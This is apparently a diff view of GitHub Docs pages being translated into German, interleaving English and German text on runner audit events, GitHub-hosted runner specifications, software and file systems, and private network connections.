| `repo.self_hosted_runner_offline` | Wird ausgelöst, wenn die Runneranwendung angehalten wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter [Überprüfen des Status eines selbstgehosteten Runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner).
| `repo.self_hosted_runner_updated` | Wird ausgelöst, wenn die Runneranwendung aktualisiert wird. Kann über die REST-API und die Benutzeroberfläche angezeigt werden. Im JSON-/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter „[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners).
### Events for self-hosted runner groups
| Action | Description
### Ereignisse für selbstgehostete Runnergruppen
| Aktion | BESCHREIBUNG
|------------------|-------------------
| `enterprise.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an enterprise](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)."
| `enterprise.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
| `enterprise.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group.
| `enterprise.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
| `enterprise.runner_group_updated` |Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
| `org.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)."
| `org.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
| `org.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
| `org.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)."
| `enterprise.runner_group_created` | Wird ausgelöst, wenn eine selbstgehostete Runnergruppe erstellt wird. Weitere Informationen findest du unter [Creating a self-hosted runner group for an enterprise](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise) („Erstellen einer selbstgehosteten Runnergruppe für ein Unternehmen“).
| `enterprise.runner_group_removed` | Wird ausgelöst, wenn eine selbstgehostete Runnergruppe entfernt wird. Weitere Informationen findest du unter [Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group) („Entfernen einer selbstgehosteten Runnergruppe“).
| `enterprise.runner_group_runner_removed` | Wird ausgelöst, wenn die REST-API verwendet wird, um einen selbstgehosteten Runner aus einer Gruppe zu entfernen.
| `enterprise.runner_group_runners_added` | Wird ausgelöst, wenn ein selbstgehosteter Runner zu einer Gruppe hinzugefügt wird. Weitere Informationen findest du unter [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group) („Verschieben eines selbstgehosteten Runners in eine Gruppe“).
| `enterprise.runner_group_updated` |Wird ausgelöst, wenn die Konfiguration einer selbstgehosteten Runnergruppe geändert wird. Weitere Informationen findest du unter [Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group) („Ändern der Zugriffsrichtlinie einer selbstgehosteten Runnergruppe“).
| `org.runner_group_created` | Wird ausgelöst, wenn eine selbstgehostete Runnergruppe erstellt wird. Weitere Informationen findest du unter [Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization) („Erstellen einer selbstgehosteten Runnergruppe für eine Organisation“).
| `org.runner_group_removed` | Wird ausgelöst, wenn eine selbstgehostete Runnergruppe entfernt wird. Weitere Informationen findest du unter [Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group) („Entfernen einer selbstgehosteten Runnergruppe“).
| `org.runner_group_updated` | Wird ausgelöst, wenn die Konfiguration einer selbstgehosteten Runnergruppe geändert wird. Weitere Informationen findest du unter [Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group) („Ändern der Zugriffsrichtlinie einer selbstgehosteten Runnergruppe“).
| `org.runner_group_runners_added` | Wird ausgelöst, wenn ein selbstgehosteter Runner zu einer Gruppe hinzugefügt wird. Weitere Informationen findest du unter [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group) („Verschieben eines selbstgehosteten Runners in eine Gruppe“).
| `org.runner_group_runner_removed` | Wird ausgelöst, wenn die REST-API verwendet wird, um einen selbstgehosteten Runner aus einer Gruppe zu entfernen. Weitere Informationen findest du unter [Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization) („Entfernen eines selbstgehosteten Runners aus einer Gruppe für eine Organisation“).
### Events for workflow activities
### Ereignisse für Workflowaktivitäten
{% data reusables.actions.actions-audit-events-workflow %}

Просмотреть файл

@ -1,7 +1,7 @@
---
title: About GitHub-hosted runners
title: Informationen zu von GitHub gehostete Runnern
shortTitle: About GitHub-hosted runners
intro: '{% data variables.product.prodname_dotcom %} offers hosted virtual machines to run workflows. The virtual machine contains an environment of tools, packages, and settings available for {% data variables.product.prodname_actions %} to use.'
intro: '{% data variables.product.prodname_dotcom %} bietet gehostete virtuelle Computer, um Workflows auszuführen. Der virtuelle Computer enthält eine Umgebung mit Tools, Paketen und Einstellungen, die {% data variables.product.prodname_actions %} verwenden kann.'
redirect_from:
- /articles/virtual-environments-for-github-actions
- /github/automating-your-workflow-with-github-actions/virtual-environments-for-github-actions
@ -15,33 +15,37 @@ versions:
fpt: '*'
ghes: '*'
ghec: '*'
ms.openlocfilehash: f44c5bcf8c6cc9c48a2910d2a0d371087debd158
ms.sourcegitcommit: 1668466c58f50415e8c4d3ad932d697f79fc87c7
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/22/2022
ms.locfileid: '148180685'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Überblick über von {% data variables.product.prodname_dotcom %} gehostete Runner
## Overview of {% data variables.product.prodname_dotcom %}-hosted runners
Runner sind die Computer, die Aufträge in einem {% data variables.product.prodname_actions %}-Workflow ausführen. Beispielsweise kann ein Runner dein Repository lokal klonen, Testsoftware installieren und dann Befehle ausführen, die deinen Code auswerten.
Runners are the machines that execute jobs in a {% data variables.product.prodname_actions %} workflow. For example, a runner can clone your repository locally, install testing software, and then run commands that evaluate your code.
{% data variables.product.prodname_dotcom %} provides runners that you can use to run your jobs, or you can [host your own runners](/actions/hosting-your-own-runners/about-self-hosted-runners). Each {% data variables.product.prodname_dotcom %}-hosted runner is a new virtual machine (VM) hosted by {% data variables.product.prodname_dotcom %} with the runner application and other tools preinstalled, and is available with Ubuntu Linux, Windows, or macOS operating systems. When you use a {% data variables.product.prodname_dotcom %}-hosted runner, machine maintenance and upgrades are taken care of for you.
{% data variables.product.prodname_dotcom %} stellt Runner bereit, mit denen du deine Aufträge ausführen kannst. Stattdessen kannst du auch [eigene Runner hosten](/actions/hosting-your-own-runners/about-self-hosted-runners). Jeder von {% data variables.product.prodname_dotcom %} gehostete Runner ist eine neue VM, die von {% data variables.product.prodname_dotcom %} mithilfe der Runneranwendung sowie weiteren vorinstallierten Tools gehostet wird und unter Ubuntu Linux, Windows oder macOS-Betriebssystemen verfügbar ist. Wenn du einen {% data variables.product.prodname_dotcom %}-gehosteten Runner verwendest, werden Computerwartung und Upgrades für dich erledigt.
{% ifversion not ghes %}
## Using a {% data variables.product.prodname_dotcom %}-hosted runner
## Verwenden eines von {% data variables.product.prodname_dotcom %} gehosteten Runners
To use a {% data variables.product.prodname_dotcom %}-hosted runner, create a job and use `runs-on` to specify the type of runner that will process the job, such as `ubuntu-latest`, `windows-latest`, or `macos-latest`. For the full list of runner types, see "[Supported runners and hardware resources](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources)."
Um einen von {% data variables.product.prodname_dotcom %} gehosteten Runner zu verwenden, musst du einen Auftrag erstellen und mithilfe von `runs-on` den Typ von Runner angeben, der den Auftrag verarbeiten wird, z. B. `ubuntu-latest`, `windows-latest` oder `macos-latest`. Eine vollständige Liste aller Runnertypen findest du unter [Unterstützte Runner und Hardwareressourcen](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources).
When the job begins, {% data variables.product.prodname_dotcom %} automatically provisions a new VM for that job. All steps in the job execute on the VM, allowing the steps in that job to share information using the runner's filesystem. You can run workflows directly on the VM or in a Docker container. When the job has finished, the VM is automatically decommissioned.
Wenn der Auftrag beginnt, stellt {% data variables.product.prodname_dotcom %} automatisch eine neue VM für diesen Auftrag bereit. Alle Schritte eines Auftrags werden auf demselben Runner ausgeführt, damit die Aktionen in diesem Auftrag Informationen über das Dateisystem austauschen können. Du kannst Workflows direkt auf der VM oder in einem Docker-Container ausführen. Wenn der Auftrag abgeschlossen ist, wird die VM automatisch außer Betrieb genommen.
The following diagram demonstrates how two jobs in a workflow are executed on two different {% data variables.product.prodname_dotcom %}-hosted runners.
Das folgende Diagramm veranschaulicht, wie zwei Aufträge in einem Workflow auf zwei unterschiedlichen von {% data variables.product.prodname_dotcom %} gehosteten Runnern ausgeführt werden.
![Two runners processing separate jobs](/assets/images/help/images/overview-github-hosted-runner.png)
![Zwei Runner verarbeiten separate Aufträge](/assets/images/help/images/overview-github-hosted-runner.png)
The following example workflow has two jobs, named `Run-npm-on-Ubuntu` and `Run-PSScriptAnalyzer-on-Windows`. When this workflow is triggered, {% data variables.product.prodname_dotcom %} provisions a new virtual machine for each job.
Der folgende Beispielworkflow weist zwei Aufträge namens `Run-npm-on-Ubuntu` und `Run-PSScriptAnalyzer-on-Windows` auf. Wenn dieser Workflow ausgelöst wird, stellt {% data variables.product.prodname_dotcom %} eine neue VM für jeden Auftrag bereit.
- The job named `Run-npm-on-Ubuntu` is executed on a Linux VM, because the job's `runs-on:` specifies `ubuntu-latest`.
- The job named `Run-PSScriptAnalyzer-on-Windows` is executed on a Windows VM, because the job's `runs-on:` specifies `windows-latest`.
- Der Auftrag namens `Run-npm-on-Ubuntu` wird auf einer Linux-VM ausgeführt, da der `runs-on:`-Wert des Auftrags `ubuntu-latest` lautet.
- Der Auftrag namens `Run-PSScriptAnalyzer-on-Windows` wird auf einer Windows-VM ausgeführt, da der `runs-on:`-Wert des Auftrags `windows-latest` lautet.
```yaml{:copy}
name: Run commands on different operating systems
@ -78,130 +82,128 @@ jobs:
Get-ScriptAnalyzerRule
```
While the job runs, the logs and output can be viewed in the {% data variables.product.prodname_dotcom %} UI:
Während der Auftrag ausgeführt wird, können Protokolle und Ausgabe in der Benutzeroberfläche von {% data variables.product.prodname_dotcom %} angezeigt werden:
![Job output in the Actions UI](/assets/images/help/repository/actions-runner-output.png)
![Auftragsausgabe auf der Actions-Benutzeroberfläche](/assets/images/help/repository/actions-runner-output.png)
{% data reusables.actions.runner-app-open-source %}
## Supported runners and hardware resources
## Unterstützte Runner und Hardwareressourcen
{% ifversion actions-hosted-runners %}
{% note %}
**Note**: {% data variables.product.prodname_dotcom %} also offers {% data variables.actions.hosted_runner %}s, which are available in larger configurations. For more information, see "[Machine specs for {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/using-larger-runners#machine-specs-for-larger-runners)."
**Hinweis**: {% data variables.product.prodname_dotcom %} bietet zudem {% data variables.actions.hosted_runner %}, die in größeren Konfigurationen verfügbar sind. Weitere Informationen findest du unter [Computerspezifikationen für {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/using-larger-runners#machine-specs-for-larger-runners).
{% endnote %}
{% endif %}
{% endnote %} {% endif %}
Hardware specification for Windows and Linux virtual machines:
- 2-core CPU (x86_64)
- 7 GB of RAM
- 14 GB of SSD space
Hardwarespezifikation für Windows- und Linux-VMs:
- CPU mit 2 Kernen (x86_64)
- 7 GB RAM
- 14 GB SSD-Speicher
Hardware specification for macOS virtual machines:
- 3-core CPU (x86_64)
- 14 GB of RAM
- 14 GB of SSD space
Hardwarespezifikation für macOS-VMs:
- CPU mit 3 Kernen (x86_64)
- 14 GB RAM
- 14 GB SSD-Speicher
{% data reusables.actions.supported-github-runners %}
Workflow logs list the runner used to run a job. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
Workflowprotokolle listen den Runner auf, der zum Ausführen eines Auftrags verwendet wird. Weitere Informationen findest du unter [Aufrufen des Workflowausführungsverlaufs](/actions/managing-workflow-runs/viewing-workflow-run-history).
## Supported software
## Unterstützte Software
The software tools included in {% data variables.product.prodname_dotcom %}-hosted runners are updated weekly. The update process takes several days, and the list of preinstalled software on the `main` branch is updated after the whole deployment ends.
Die Softwaretools, die in {% data variables.product.prodname_dotcom %}-gehosteten Runnern enthalten sind, werden wöchentlich aktualisiert. Der Updatevorgang dauert mehrere Tage, und die Liste der vorinstallierten Software im `main`-Branch wird nach Abschluss der gesamten Bereitstellung aktualisiert.
### Preinstalled software
### Vorinstallierte Software
Workflow logs include a link to the preinstalled tools on the exact runner. To find this information in the workflow log, expand the `Set up job` section. Under that section, expand the `Runner Image` section. The link following `Included Software` will describe the preinstalled tools on the runner that ran the workflow.
![Installed software link](/assets/images/actions-runner-installed-software-link.png)
For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
Workflowprotokolle enthalten einen Link zu den vorinstallierten Tools für den jeweiligen Runner. Um diese Informationen im Workflowprotokoll zu finden, erweitere den Abschnitt `Set up job`. Erweiter unter diesem Abschnitt den Abschnitt `Runner Image`. Der auf `Included Software` folgende Link beschreibt die vorinstallierten Tools auf dem Runner, der den Workflow ausgeführt hat.
![Link zu installierter Software](/assets/images/actions-runner-installed-software-link.png) Weitere Informationen findest du unter [Anzeigen des Verlaufs der Workflowausführung](/actions/managing-workflow-runs/viewing-workflow-run-history).
For the overall list of included tools for each runner operating system, see the links below:
Die Gesamtliste der enthaltenen Tools für jedes Runnerbetriebssystem findest du unter den folgenden Links:
* [Ubuntu 22.04 LTS](https://github.com/actions/runner-images/blob/main/images/linux/Ubuntu2204-Readme.md)
* [Ubuntu 20.04 LTS](https://github.com/actions/runner-images/blob/main/images/linux/Ubuntu2004-Readme.md)
* [Ubuntu 18.04 LTS](https://github.com/actions/runner-images/blob/main/images/linux/Ubuntu1804-Readme.md) (deprecated)
* [Ubuntu 18.04 LTS](https://github.com/actions/runner-images/blob/main/images/linux/Ubuntu1804-Readme.md) (veraltet)
* [Windows Server 2022](https://github.com/actions/runner-images/blob/main/images/win/Windows2022-Readme.md)
* [Windows Server 2019](https://github.com/actions/runner-images/blob/main/images/win/Windows2019-Readme.md)
* [macOS 12](https://github.com/actions/runner-images/blob/main/images/macos/macos-12-Readme.md)
* [macOS 12](https://github.com/actions/runner-images/blob/main/images/macos/macos-12-Readme.md)
* [macOS 11](https://github.com/actions/runner-images/blob/main/images/macos/macos-11-Readme.md)
* [macOS 10.15](https://github.com/actions/runner-images/blob/main/images/macos/macos-10.15-Readme.md)
{% data variables.product.prodname_dotcom %}-hosted runners include the operating system's default built-in tools, in addition to the packages listed in the above references. For example, Ubuntu and macOS runners include `grep`, `find`, and `which`, among other default tools.
{% data variables.product.prodname_dotcom %}-gehostete Runner enthalten zusätzlich zu den oben aufgeführten Paketen die standardmäßig integrierten Tools des Betriebssystems. Ubuntu- und macOS-Runner umfassen beispielsweise `grep`, `find` und `which` sowie weitere Standardtools.
### Using preinstalled software
### Verwenden vorinstallierter Software
We recommend using actions to interact with the software installed on runners. This approach has several benefits:
- Usually, actions provide more flexible functionality like versions selection, ability to pass arguments, and parameters
- It ensures the tool versions used in your workflow will remain the same regardless of software updates
Es wird empfohlen, Aktionen zu verwenden, um mit der Software zu interagieren, die auf Runnern installiert ist. Dieser Ansatz hat mehrere Vorteile:
- In der Regel bieten Aktionen flexiblere Funktionen wie Versionsauswahl sowie die Möglichkeit, Argumente und Parameter zu übergeben.
- Dies stellt sicher, dass die in deinem Workflow verwendeten Toolversionen unabhängig von Softwareupdates gleich bleiben.
If there is a tool that you'd like to request, please open an issue at [actions/runner-images](https://github.com/actions/runner-images). This repository also contains announcements about all major software updates on runners.
Wenn ein Tool vorhanden ist, das du anfordern möchtest, öffne ein Issue unter [actions/runner-images](https://github.com/actions/runner-images). Dieses Repository enthält auch Ankündigungen zu allen wichtigen Softwareupdates auf Runnern.
### Installing additional software
### Installieren zusätzlicher Software
You can install additional software on {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see "[Customizing GitHub-hosted runners](/actions/using-github-hosted-runners/customizing-github-hosted-runners)".
Du kannst zusätzliche Software auf von {% data variables.product.prodname_dotcom %} gehosteten Runnern installieren. Weitere Informationen findest du unter [Anpassen von von GitHub gehosteten Runnern](/actions/using-github-hosted-runners/customizing-github-hosted-runners).
## Cloud hosts used by {% data variables.product.prodname_dotcom %}-hosted runners
## Cloudhosts, die von {% data variables.product.prodname_dotcom %} gehosteten Runnern genutzt werden
{% data variables.product.prodname_dotcom %} hosts Linux and Windows runners on `Standard_DS2_v2` virtual machines in Microsoft Azure with the {% data variables.product.prodname_actions %} runner application installed. The {% data variables.product.prodname_dotcom %}-hosted runner application is a fork of the Azure Pipelines Agent. Inbound ICMP packets are blocked for all Azure virtual machines, so ping or traceroute commands might not work. For more information about the `Standard_DS2_v2` resources, see "[Dv2 and DSv2-series](https://docs.microsoft.com/azure/virtual-machines/dv2-dsv2-series#dsv2-series)" in the Microsoft Azure documentation.
{% data variables.product.prodname_dotcom %} hostet Linux- und Windows-Runner auf den `Standard_DS2_v2`-VMs in Microsoft Azure, auf denen die Runneranwendung von {% data variables.product.prodname_actions %} installiert ist. Die Runner-Anwendung auf {% data variables.product.prodname_dotcom %}-gehosteten Runnern ist eine Fork-Kopie des Azure-Pipelines-Agenten. Bei Azure werden eingehende ICMP-Pakete werden für alle virtuellen Maschinen blockiert, so dass die Befehle ping und traceroute möglicherweise nicht funktionieren. Weitere Informationen zu den `Standard_DS2_v2`-Ressourcen findest du in der Microsoft Azure-Dokumentation unter [Dv2- und DSv2-Serie](https://docs.microsoft.com/azure/virtual-machines/dv2-dsv2-series#dsv2-series).
{% data variables.product.prodname_dotcom %} hosts macOS runners in {% data variables.product.prodname_dotcom %}'s own macOS Cloud.
{% data variables.product.prodname_dotcom %} hostet macOS-Runner in der eigenen macOS-Cloud von {% data variables.product.prodname_dotcom %}.
## Workflow continuity
## Workflowkontinuität
{% data reusables.actions.runner-workflow-continuity %}
In addition, if the workflow run has been successfully queued, but has not been processed by a {% data variables.product.prodname_dotcom %}-hosted runner within 45 minutes, then the queued workflow run is discarded.
Wenn die Workflowausführung erfolgreich in die Warteschlange eingereiht wurde, aber nicht innerhalb von 45 Minuten von einem {% data variables.product.prodname_dotcom %}-gehosteten Läufer verarbeitet wurde, wird die Workflowausführung in der Warteschlange verworfen.
## Administrative privileges
## Administratorrechte
The Linux and macOS virtual machines both run using passwordless `sudo`. When you need to execute commands or install tools that require more privileges than the current user, you can use `sudo` without needing to provide a password. For more information, see the "[Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html)."
Die Linux- und macOS-VMs werden beide mit dem kennwortlosen Befehl `sudo` ausgeführt. Wenn du Befehle ausführen oder Tools installieren musst, die höhere Berechtigungen als die des aktuellen Benutzers erfordern, kannst du `sudo` verwenden, ohne ein Kennwort angeben zu müssen. Weitere Informationen findest du im [Sudo-Leitfaden](https://www.sudo.ws/man/1.8.27/sudo.man.html).
Windows virtual machines are configured to run as administrators with User Account Control (UAC) disabled. For more information, see "[How User Account Control works](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" in the Windows documentation.
Die virtuellen Windows-Maschinen sind so konfiguriert, dass sie als Administratoren laufen, wobei die Benutzerkonten-Steuerung (UAC) deaktiviert ist. Weitere Informationen findest du unter [Funktionsweise der Benutzerkontensteuerung](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works) in der Windows-Dokumentation.
## IP addresses
## IP-Adressen
{% note %}
**Note:** If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you cannot use {% data variables.product.prodname_dotcom %}-hosted runners and must instead use self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
**Hinweis**: Wenn du eine Positivliste mit IP-Adressen für dein Organisations- oder Unternehmenskonto auf {% data variables.product.prodname_dotcom %} verwendest, kannst du keine {% data variables.product.prodname_dotcom %}-gehosteten Runner verwenden, sondern benötigst stattdessen selbstgehostete Runner. Weitere Informationen findest du unter „[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners).
{% endnote %}
To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.product.prodname_dotcom %}-hosted runners, you can use the {% data variables.product.prodname_dotcom %} REST API. For more information, see the `actions` key in the response of the "[Get GitHub meta information](/rest/reference/meta#get-github-meta-information)" endpoint.
Um eine Liste der IP-Adressbereiche abzurufen, die {% data variables.product.prodname_actions %} für von {% data variables.product.prodname_dotcom %} gehostete Runner verwendet, kannst du die {% data variables.product.prodname_dotcom %}-REST-API verwenden. Weitere Informationen findest du im `actions`-Schlüssel in der Antwort des Endpunkts [Abrufen von GitHub-Metainformationen](/rest/reference/meta#get-github-meta-information).
Windows and Ubuntu runners are hosted in Azure and subsequently have the same IP address ranges as the Azure datacenters. macOS runners are hosted in {% data variables.product.prodname_dotcom %}'s own macOS cloud.
Windows- und Ubuntu-Runner werden in Azure gehostet und weisen daher die gleichen IP-Adressbereiche wie Azure-Rechenzentren auf. macOS-Runner werden in der eigenen macOS-Cloud von {% data variables.product.prodname_dotcom %} gehostet.
Since there are so many IP address ranges for {% data variables.product.prodname_dotcom %}-hosted runners, we do not recommend that you use these as allow-lists for your internal resources.
Da es so viele IP-Adressbereiche für von {% data variables.product.prodname_dotcom %} gehostete Runner gibt, wird nicht empfohlen, diese als Positivlisten für deine internen Ressourcen zu verwenden.
The list of {% data variables.product.prodname_actions %} IP addresses returned by the API is updated once a week.
Die Liste der {% data variables.product.prodname_actions %}-IP-Adressen, die von der API zurückgegeben werden, wird ein Mal pro Woche aktualisiert.
## File systems
## Dateisysteme
{% data variables.product.prodname_dotcom %} executes actions and shell commands in specific directories on the virtual machine. The file paths on virtual machines are not static. Use the environment variables {% data variables.product.prodname_dotcom %} provides to construct file paths for the `home`, `workspace`, and `workflow` directories.
{% data variables.product.prodname_dotcom %} führt Aktionen und Shell-Befehle in bestimmten Verzeichnissen auf der virtuellen Maschine aus. Die Dateipfade auf virtuellen Maschinen sind nicht statisch. Verwende die Umgebungsvariablen, die {% data variables.product.prodname_dotcom %} bereitstellt, um Dateipfade für die Verzeichnisse `home`, `workspace` und `workflow` zu erstellen.
| Directory | Environment variable | Description |
| Verzeichnis | Umgebungsvariable | BESCHREIBUNG |
|-----------|----------------------|-------------|
| `home` | `HOME` | Contains user-related data. For example, this directory could contain credentials from a login attempt. |
| `workspace` | `GITHUB_WORKSPACE` | Actions and shell commands execute in this directory. An action can modify the contents of this directory, which subsequent actions can access. |
| `workflow/event.json` | `GITHUB_EVENT_PATH` | The `POST` payload of the webhook event that triggered the workflow. {% data variables.product.prodname_dotcom %} rewrites this each time an action executes to isolate file content between actions.
| `home` | `HOME` | Enthält benutzerbezogene Daten. In diesem Verzeichnis können sich beispielsweise die Anmeldeinformation aus einem Anmeldeversuch befinden. |
| `workspace` | `GITHUB_WORKSPACE` | Aktionen und Shell-Befehle werden in diesem Verzeichnis ausgeführt. Eine Aktion kann den Inhalt dieses Verzeichnisses ändern, auf den dann nachfolgende Aktionen zugreifen können. |
| `workflow/event.json` | `GITHUB_EVENT_PATH` | Die `POST`-Nutzdaten des Webhookereignisses, das den Workflow ausgelöst hat. {% data variables.product.prodname_dotcom %} schreibt dies bei jeder ausgeführten Aktion neu, sodass der Dateiinhalt zwischen den Aktionen isoliert wird.
For a list of the environment variables {% data variables.product.prodname_dotcom %} creates for each workflow, see "[Using environment variables](/github/automating-your-workflow-with-github-actions/using-environment-variables)."
Eine Liste der Umgebungsvariablen, die {% data variables.product.prodname_dotcom %} für jeden Workflow erstellt, findest du unter [Verwenden von Umgebungsvariablen](/github/automating-your-workflow-with-github-actions/using-environment-variables).
### Docker container filesystem
### Docker-Container-Dateisystem
Actions that run in Docker containers have static directories under the `/github` path. However, we strongly recommend using the default environment variables to construct file paths in Docker containers.
Aktionen, die in Docker-Containern ausgeführt werden, haben statische Verzeichnisse unter dem Pfad `/github`. Wir empfehlen jedoch dringend, die Standard-Umgebungsvariablen zu verwenden, um Dateipfade in Docker-Containern zu erstellen.
{% data variables.product.prodname_dotcom %} reserves the `/github` path prefix and creates three directories for actions.
In {% data variables.product.prodname_dotcom %} ist das Pfadpräfix `/github` reserviert, und es werden drei Verzeichnisse für Aktionen erstellt.
- `/github/home`
- `/github/workspace` - {% data reusables.repositories.action-root-user-required %}
- `/github/workspace`: {% data reusables.repositories.action-root-user-required %}
- `/github/workflow`
## Further reading
- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
- You can use a matrix strategy to run your jobs on multiple images. For more information, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)."
## Weitere Informationsquellen
- [Verwalten der Abrechnung für {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)
- Du kannst deine Aufträge mithilfe einer Matrixstrategie auf mehreren Images ausführen. Weitere Informationen findest du unter [Verwenden einer Matrix für deine Aufträge](/actions/using-jobs/using-a-matrix-for-your-jobs).
{% endif %}

Просмотреть файл

@ -1,7 +1,6 @@
---
title: Connecting to a private network
shortTitle: Connect to a private network
intro: 'You can connect {% data variables.product.prodname_dotcom %}-hosted runners to resources on a private network, including package registries, secret managers, and other on-premises services.'
title: Herstellen einer Verbindung mit einem privaten Netzwerk
intro: 'Du kannst Verbindungen von Runnern, die von {% data variables.product.prodname_dotcom %} gehostet werden, mit Ressourcen in einem privaten Netzwerk herstellen, einschließlich Paketregistrierungen, Geheimnis-Manager und anderer lokaler Dienste.'
versions:
fpt: '*'
ghes: '*'
@ -10,62 +9,66 @@ type: how_to
topics:
- Actions
- Developer
ms.openlocfilehash: 2a74b149596e0158cdc6b5e40508b1d4a54eb8e6
ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/11/2022
ms.locfileid: '147884269'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Informationen zu Runnern, die von {% data variables.product.prodname_dotcom %} gehostet werden
## About {% data variables.product.prodname_dotcom %}-hosted runners networking
Standardmäßig haben von {% data variables.product.prodname_dotcom %} gehostete Runner Zugriff auf das öffentliche Internet. Möglicherweise sollen diese Runner aber auch auf Ressourcen in deinem privaten Netzwerk zugreifen, z. B. auf eine Paketregistrierung, einen Geheimnis-Manager oder andere lokale Dienste.
By default, {% data variables.product.prodname_dotcom %}-hosted runners have access to the public internet. However, you may also want these runners to access resources on your private network, such as a package registry, a secret manager, or other on-premise services.
{% data variables.product.prodname_dotcom %}-hosted runners are shared across all {% data variables.product.prodname_dotcom %} customers, so you will need a way of connecting your private network to just your runners while they are running your workflows. There are a few different approaches you could take to configure this access, each with different advantages and disadvantages.
Von {% data variables.product.prodname_dotcom %} gehostete Runner werden von allen {% data variables.product.prodname_dotcom %}-Kunden gemeinsam genutzt. Du musst also eine Möglichkeit finden, dein privates Netzwerk ausschließlich mit deinen Runnern zu verbinden, während sie deine Workflows ausführen. Es gibt mehrere Möglichkeiten, diesen Zugriff zu konfigurieren – mit jeweils unterschiedlichen Vor- und Nachteilen.
{% ifversion fpt or ghec or ghes > 3.4 %}
### Using an API Gateway with OIDC
### Verwenden eines API-Gateways mit OIDC
